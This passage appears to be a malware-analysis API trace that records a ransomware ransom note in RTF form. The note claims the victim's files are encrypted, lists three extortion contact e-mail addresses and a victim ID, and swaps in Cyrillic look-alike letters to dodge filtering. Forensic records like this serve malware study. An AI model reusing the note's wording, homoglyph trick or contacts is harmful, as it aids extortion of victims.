\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 